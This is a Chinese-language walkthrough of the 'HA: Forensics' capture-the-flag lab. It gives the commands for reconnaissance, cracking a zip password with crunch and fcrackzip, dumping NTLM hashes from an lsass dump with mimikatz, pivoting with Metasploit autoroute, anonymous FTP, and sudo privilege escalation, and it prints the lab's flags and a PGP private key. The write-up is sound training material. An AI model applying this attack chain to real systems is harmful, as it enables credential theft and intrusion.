forensics-靶机
环境:下载靶机、解压、VMware打开,并将其和kali虚拟机的网络调成NAT模式
靶机描述
Description
Back to the Top
HA: Forensics is an intermediate level of the lab, which gives you a hand on real-life experience in Cyber Forensic Investigation. This lab is completely dedicated to methods and tools of Cyber Forensic Investigation and there is evidence that can be found with various techniques. As it is a Capture-the-Flag, it is very important to note that it is not a root challenge, and comes with a primary motive to find all the flags.
No. of Flags: 4
Objective: Find all 4 flags (Getting Root is NOT the objective)
一.明确目标
探测目标主机IP情况
sudo arp-scan -l
目标主机IP:192.168.107.133
Kali的IP:192.168.107.129
二.信息搜集
Nmap 进行常规端口开放扫描
nmap 192.168.107.133 -p- -A
发现目标靶机开放了ssh 22端口,http 80端口。(以及OpenSSH 7.6p1,Apache httpd 2.4.29)
在浏览器中访问一下目标靶机的80端口:
发现一些关于指纹的图片,点击右上角 get flag,发现作者整活,未发现其他有用信息
1.使用dirsearch命令对靶机网站目录进行扫描
dirsearch -u 192.168.107.133
http://192.168.107.133/images/
http://192.168.107.133/style/
http://192.168.107.133/index.html
浏览器访问一下http://192.168.107.133/images/,发现有好几张图片,其中最后两张命名DNA 和 fingerprint(指纹)的可疑图片
2.在kali中使用exiftool 工具提取图片数据
经过测试发现 DNA 没有有用的信息。
apt-get install exiftool #kali并未自带此工具,使用该命令更改
exiftool fingerprint.jpg
发现 flag1
Flag:1 {bc02d4ffbeeab9f57c5e03de1098ff31}
###使用 dirb 扫描 txt 文件
dirb
除了可以扫描目录之外,还可以扫描指定文件后缀的方式来扫描文件,比如我们可以扫描是否存在备份文件之类的,比如.backup
、.git
、.txt
.bak
什么的
dirb http://192.168.107.133 -X .txt
发现在网站根目录下有个 tips.txt 文件。
访问该文件:
http://192.168.107.133/tips.txt
发现一个路径一个 zip 压缩文件
1)访问 http://192.168.107.133/flag.zip 进行下载 zip 文件,解压时发现需要密码
2)访问 http://192.168.107.133/igolder 发现该路径下有 clue.txt 文件,打开发现 PGP 加密
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG C# v1.6.1.0
lQOsBF9sr70BCACvH5Vs2Lp9nyVIbVk4yraUmxDBxPJNitlU/IqcR2d+UDEORbDl
UClLXSqapjBFuu24p86SIcv/1VktRh79lnL5j4uKSAEuI/t6SJW4hlfovVBndUvT
X61w6TRJlLq5AsLOS38PWpIgL1ECIqliwNfCjjlvQd8xm/C9BV1lqM71JYtW34ST
XsKzxomVqGtWvrzs/tFege20z12JtqgPmqGApXzNjI4y7iH0vvVS8nCF58nwyjoH
wbx6EXk002hDe0/W7tsCGhp3gU5wzkUy4kfBfVrLp0/23kA/k4iJvlMPMAeQoJPx
AymXmXEKlp+igBrBicBw68SZgLAQhg8ZO2ybABEBAAH/AwMC/MDF76NvTu1gM8Y7
xjKap2L3OY8xeOoAeMQUueabuTP2rl7jB6YfsEcQj4xDjz0SBXIQxP0PziHpXTk3
v5FlH5nhSWZI6OgN0HF6rdjByKT4CNlkt7IVIPEQc7IidQP5K1/YhbghysyYHyBH
3TRAEwJszcjj6TsAOM1mpLXlPweM1sC3ms8xoFVSipPcHviNcQq58zLpGcWvmmuc
ZfqrRBqfpU/wZEmEvcDW1FOCvq/Bqo1psPOXYfI+ul7C0MLObmzi/u2p7EJLwf2E
tGBJ++wLdProHJHovp0WlQSHFamOWmM5p9SAq7lMegvIn3NHe0ZQS2agjBzNiMW5
LK/dZ0i1lX1SSRNNOlLC+Tf/v6bS8gAD+WSGsYEITPcRP2OpCiCBoa4d7GsK7nyF
RHIngmJrp5g1agayG92ahUFRLqQ7KGa+hu3N8/pM+x/dNH1Uw/jhKHsacpgBBCPf
Zs/NZlcMbCI0TD6CFKe2QCEnOW6iLlOEgV2ptEPJLkinaFZ8BEf5HYHUhW1CqwTZ
otvsmzkijYDvaV77zylVqb9gMJelVNWLZG3fcw+eCGF1wBBxno99xcxEgJpzdOeH
TnU3yQ1JllZb/0jQ7vBq22hrOTYo9iRBe/XOnUj1+J8QVynYLcgvEx8I8/tXnfNM
/bQkwbEohnTzklDWWKrqBXlXOTpBKZL4bk+k0U5wMpOQOkCgiHTMmklmAV/+0S/G
5EDrNNdCDCIdtXtAHJjIUtVivNNyQIgVuImYbhbXcSWziX0IT0QkRGSz8a+/MKl3
0yItTNXi/KpnOt+xfvjavzPscXyKyt7+82feOsl4f/jDFZW6P4NifjWGeP+9Q8FA
MPPZ/xDjhIgBvsqLpGDEuYp7VTVxWWIUtzao7P4WzLQAiQEcBBABAgAGBQJfbK+9
AAoJEF0YY4bPiiBW83YH/jU75ZqnBG3yJGOYa7qapXIPc/Dg6jc1FuivWlphZs8C
PSog9kqEqlY3k5OY03YBMIRgWMI2UyCgiSPcgwF8bGXm8hPQgL0QN5cFX7uubH9S
ofeM+SyRRSpuXtcWgljHe6e/ABR533bwLdk6YyHf4YyCxCDxWZRdI/FyoRYrh7q4
CTfgVJoiem1P9sViva28IBJ+H1ctyioWVEkKz1/PW9NBYy9mTbmVlwdWW1IzXRiS
OcXu0tW1rawJ/z5SwCwjKZxvSm2Hfk9eguEojbfPIoXauNRH00u4tEHO6YjD54ZC
DxpZfSHSCsOWEfOAA5EO+uDGSY4+WB6ihKmCV+i68Jc=
=KoPg
-----END PGP PRIVATE KEY BLOCK-----
-----BEGIN PGP MESSAGE-----
Version: BCPG C# v1.6.1.0
hQEMA10YY4bPiiBWAQf8DaEoVUWpzj5+3WMZcOhjfXo6Hk+MKD5TLWy5XndaEXRZ
3+aUQuECr88LG83BzmAS1MITHf7xifx4aiqgeM6bGILlvseP9W2Fmv9E5KOVLUYI
T8V3jINwmNg7FinwuYlT2ld2yU1qMwiEZ8GPTK4U90WSZh+/dYnKTVKxjdEZXlj9
FF42BygUxjJgEDFQi0HhUb7AX+tYQIQV0p5DZcTETZweyM9OBcwuhwzspjKp3Rz9
zFcnnCEZ4+JbdXTcXPD9cTBHJhWk01lclg+XR4v572HilznzWFutqcWrMuhBO0UZ
q0v1MOG03o8MN2VysMgbk8gEdOs+GE8fPBtsKqS5tsmhcwZR3QA/BctqAT+IhYtI
s7j0pd+mTG+zvQu5B41isicBb0yLA80YVlfWjjUmZAAF4oowPKJWY9CQIap39Ked
cbLU2+CI3JJf7JZvcZK4KGeuYgpRXU8Jvu3BHSEu1zCHGgieYRW254OJYZcJYFx6
v+6OPq+UNCBbhAFRjJpkOigA+GgH5lGf0vRYM/gz5vA4MDRrEojFs9DIwATbflqN
QOs=
=Y9OD
-----END PGP MESSAGE-----
3.在线解密PGP
https://youritmate.us/pgp/
点击解密后,message处变为明文,告诉我们密码是3位,前三位是for,后三位是数字
In case the forensic investigator forgets his password, this hint can help him, where the password is of 6 characters long , starting 3 characters is the word "for" and the ending 3 characters are numeric
flag.zip是需要密码的,看来需要爆破出这个密码了
4.使用crunch先生成字典
crunch 6 6 -t for%%% -o passwd.txt
5.再使用fcrackzip利用密码字典破解密码
kali安装fcrackzip工具(kali不自带,需要自行安装)
sudo apt-get install fcrackzip
fcrackzip -h #可以查看参数使用方法
fcrackzip -u -D -p passwd.txt flag.zip
参数使用说明:
-b:使用暴力破解
-l 4-4 :指定密码长度,最小长度-最大长度
-u :不显示错误密码,仅显示最终正确密码
-c :指定字符集,字符集 格式只能为 -c 'aA1!:'
a 表示小写字母[a-z]
A 表示大写字母[A-Z]
1 表示阿拉伯数字[0-9]
! 感叹号表示特殊字符[!:$%&/()=?{[]}+*~#]
得到加密的密码:for007
使用密码解密
unzip flag.zip
解压后得到 flag.pdf、lsass.DMP 文件,查看flag.pdf 得到 flag2
Flag:2 {4a3232c59ecda21ac71bebe3b329bf36}
然后分析 lsass.DMP 文件:
.dmp文件说明
windows系统中.dmp文件
Linux中.dmp文件
6.使用 mimikatz 检查内存转储文件
在kali中输入 mimikatz
,要在windows上运行
在win10中打开x64版本的mimikatz
输入命令
sekurlsa::minidump C:\Users\gpc\Desktop\lsass.DMP
sekurlsa::logonpasswords
可以发现有两个用户,jasoos
,和raj
,mimikatz
没有直接读取出密码明文,我们可以试试破解NT Hash
。
jasoos
raj
NTLM 64fbae31cc352fc26af97cbdef151e03
SHA1 c220d333379050d852f3e65b010a817712b8c176
在线解密使用CMD5破解一下NTLM加密的
得到密码Password@1
SSH登录一下
登进去后,发现了一个172开头的IP,该进行横向渗透了
三、使用 msfconsole 进行后渗透
1.kali 打开 msfconsole ,search ssh/ssh_login
为了方便后渗透,这里我们使用msf
里面的ssh_login
模块
msfconsole
msf> search ssh/ssh_login
2.利用模块
use 0 #选择使用的模块
show options
set rhosts 192.168.1.111 #靶机的IP地址
set username jasoos #靶机SSH登录的用户名
set password Password@1 #靶机SSH登录密码
run
3.查看当前所有的会话信息
sessions -l
4.升级会话
可以看到登录成功了。我们可以用session -u
升级成一个meterpreter
会话
sessions -u 1
5.进入会话并查看网络连接
发现有多个网络连接其中有一个内部 ip 172.17.0.1,我们不能从外部直接进行访问考虑使用靶机作为跳板
6.横向渗透
1)使用 exit 退出当前 meterpreter shell
再次升级 shell
exit
sessions -u 1
2)添加路由
use post/multi/manage/autoroute
set session 3
run
3)探测主机
use post/multi/gather/ping_sweep
set session 3
set rhosts 172.17.0.0/24
run
发现 了127.17.0.1、127.17.0.2两个主机
4)端口扫描
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set ports 1-1000
run
发现 21 端口(ftp)开放
5)测试 ftp 是否可以匿名登陆
use auxiliary/scanner/ftp/anonymous
set rhosts 172.17.0.2
run
可以匿名登陆
6)进入 ftp,查看文件
sessions 3
shell
SHELL=/bin/bash script -q /dev/null
ftp 172.17.0.2
anonymous
ls
cd pub
ls
发现有 saboot.001 文件,使用 get 获取
7)使用 python 简单服务器进行传输文件
python -m SimpleHTTPServer 8888
8)在上kali 下载文件
wget http://192.168.107.133:8888/saboot.001
9)分析文件
发现该文件是个磁盘镜像
四、磁盘镜像取证
打开 kali 自带工具 autopsy
在浏览器中访问 http://127.0.0.1:9999/autopsy
重新访问该工具
一路ok,到下面界面
加载磁盘镜像后发现了两个文件 flag3.txt,creads.txt
得到Flag:3 {8442460f48338fe60a9497b8e0e9022f}
amVlbmFsaWlzYWdvb2RnaXJs
对amVlbmFsaWlzYWdvb2RnaXJs
参数进行解密
得到明文 jeenaliisagoodgirl 看着像是用户的密码
五、提权
回到靶机shell,查看所有用户
发现了用户forensic,尝试SSH登录,密码使用上面解密出来的 jeenaliisagoodgirl
成功登录
查看可 sudo 执行的命令
发现可以执行所有命令
直接提权
六.总结
1.信息收集
发现80和22端口
80中源码包含敏感目录,查看敏感目录发现图片,在kali中使用exiftool查看图片属性拿到flag
dirb扫描txt后缀目录,发现敏感目录,里面后一个zip包和一个PGP的私钥+密文,在线PGP解密后,解压缩zip包发现flag以及DMP文件
2.shell权限
使用mimikatz打开DMP文件,发现用户+密码,解密密码后,ssh登录
通过msfconsole横向渗透,发现另一台主机有ftp服务,匿名进入ftp服务,发现压缩包,下载到本地,解压后发现flag和密码密文,解密后su到这个用户
3.提权
通过sudo直接su到root,拿到最后一个flag